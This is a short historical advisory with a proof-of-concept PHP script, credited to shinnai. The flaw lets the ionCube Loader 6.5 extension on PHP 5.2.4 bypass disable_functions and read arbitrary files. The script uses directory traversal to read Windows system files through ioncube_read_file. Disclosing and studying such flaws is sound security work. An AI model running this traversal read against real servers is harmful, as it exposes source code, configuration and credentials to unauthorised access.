PHP 5.2.4 ionCube Extension File-Read Bypass
This historical proof of concept, credited to shinnai, targeted PHP 5.2.4 with ionCube Loader 6.5 on Windows. Even when readfile and ioncube_read_file were listed in disable_functions, the extension’s file-reading function could be used to retrieve files outside the intended restriction. The original report was tested with ioncube_loader_win_5.2.dll; do not generalize the result to other PHP or ionCube versions without verification.[1][2]
The impact is an arbitrary file read in the PHP process context, which can expose PHP source, configuration files, or stored credentials. The original advisory also highlighted the extension’s ioncube_write_file function as an additional surface, although this proof of concept demonstrates only the read primitive.[1]
<?php
/*
* PHP 5.2.4 / ionCube Loader 6.5 historical proof of concept.
* Original author: shinnai
* Original environment: Windows XP Professional SP2, CLI and Apache.
* php.ini:
* safe_mode = On
* disable_functions = ioncube_read_file, readfile
*/
if (!extension_loaded('ionCube Loader')) {
die('ionCube Loader extension required!');
}
$path = str_repeat('..\\', 20);
// Baseline call expected to be blocked by disable_functions.
$readfileOutput = readfile($path . 'windows\\system.ini');
// Historical bypass through the extension function.
$ioncubeOutput = ioncube_read_file($path . 'boot.ini');
echo $readfileOutput;
echo '<br><br>ionCube output:<br><br>';
echo $ioncubeOutput;
?>